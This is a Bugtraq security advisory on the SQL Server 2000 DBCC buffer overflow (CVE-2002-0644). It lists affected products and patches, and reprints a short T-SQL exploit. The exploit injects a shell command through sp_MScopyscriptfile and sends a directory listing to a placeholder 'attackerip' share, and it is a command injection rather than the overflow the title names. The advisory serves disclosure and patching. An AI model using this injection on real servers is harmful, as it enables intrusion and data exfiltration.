Microsoft SQL Server 2000 Database Consistency Checkers Buffer Overflow Vulnerability

Bugtraq ID:	5307
Class:	Boundary Condition Error
CVE:	CVE-2002-0644
Remote:	Yes
Local:	No
Published:	Jul 25 2002 12:00AM
Updated:	Jul 11 2009 02:56PM
Credit:	Discovery credited to Cesar Cerrudo <[email protected]>.
Vulnerable:	Microsoft SQL Server 2000 Desktop Engine + Akiva WebBoard 6.1 + Microsoft Access 2000 + Microsoft Application Center 2000 + Microsoft BizTalk Server 2000 Developer Edition + Microsoft BizTalk Server 2000 Enterprise Edition + Microsoft BizTalk Server 2000 Standard Edition + Microsoft BizTalk Server 2002 Developer Edition + Microsoft BizTalk Server 2002 Enterprise Edition + Microsoft Office 2000 + Microsoft Project Central Server + Microsoft SharePoint Team Services from Microsoft + Microsoft Visio 2000 Enterprise Edition + Microsoft Visio Enterprise Network Tools + Microsoft Visual FoxPro 6.0 + Microsoft Visual Studio 6.0 + Microsoft Visual Studio .NET Academic Edition 0 + Microsoft Visual Studio .NET Enterprise Architect Edition + Microsoft Visual Studio .NET Enterprise Developer Edition + Microsoft Visual Studio .NET Professional Edition + SmartMax Software MailMax 5.0 + Veritas Software Backup Exec for Windows Servers 9.0 Microsoft SQL Server 2000 SP2 Microsoft SQL Server 2000 SP1 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 Microsoft SQL Server 2000 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0
Not Vulnerable:	Microsoft SQL Server 2000 SP3

Microsoft SQL Server 2000 Database Consistency Checkers Buffer Overflow Vulnerability

Microsoft SQL Server 2000 includes utilities called Database Consistency Checkers (DBCC). Several of these programs contain identical buffer overflows that, when exploited, could allow an attacker to execute arbitrary code with the privilege level of the SQL Server service account.

Microsoft SQL Server 2000 Database Consistency Checkers Buffer Overflow Vulnerability

The following exploit was provided by Cesar Cerrudo <[email protected]>:

declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ >
"\\attackerip\share\dir.txt"'
select @scripfile='c:\autoexec.bat > nul" | ' +
@command + ' | rd "'
exec sp_MScopyscriptfile @scripfile ,''

Microsoft SQL Server 2000 Database Consistency Checkers Buffer Overflow Vulnerability

Solution:
Fixes available:


Microsoft SQL Server 2000

• Microsoft sql2ksp3
  http://www.microsoft.com/sql/downloads/2000/sp3.asp?SD=GN&LN=en-us&gss nb=1

Microsoft SQL Server 2000 SP1

• Microsoft sql2ksp3
  http://www.microsoft.com/sql/downloads/2000/sp3.asp?SD=GN&LN=en-us&gss nb=1

Microsoft SQL Server 2000 Desktop Engine

• Microsoft sql2ksp3
  http://www.microsoft.com/sql/downloads/2000/sp3.asp?SD=GN&LN=en-us&gss nb=1

Microsoft SQL Server 2000 SP2

• Microsoft Q316333
  http://support.microsoft.com/default.aspx?scid=http://download.microso ft.com/download/SQLSVR2000/Update/8.00.0650/W98NT42KMeXP/EN-US/8.00.06 50_enu.exe


• Microsoft sql2ksp3
  http://www.microsoft.com/sql/downloads/2000/sp3.asp?SD=GN&LN=en-us&gss nb=1

Microsoft SQL Server 2000 Database Consistency Checkers Buffer Overflow Vulnerability

References:

• Microsoft Security Bulletin MS02-038 (Microsoft)
  
• Microsoft SQL Server Homepage (Microsoft)
  
• Vulnerability Note VU#279323 (CERT/CC)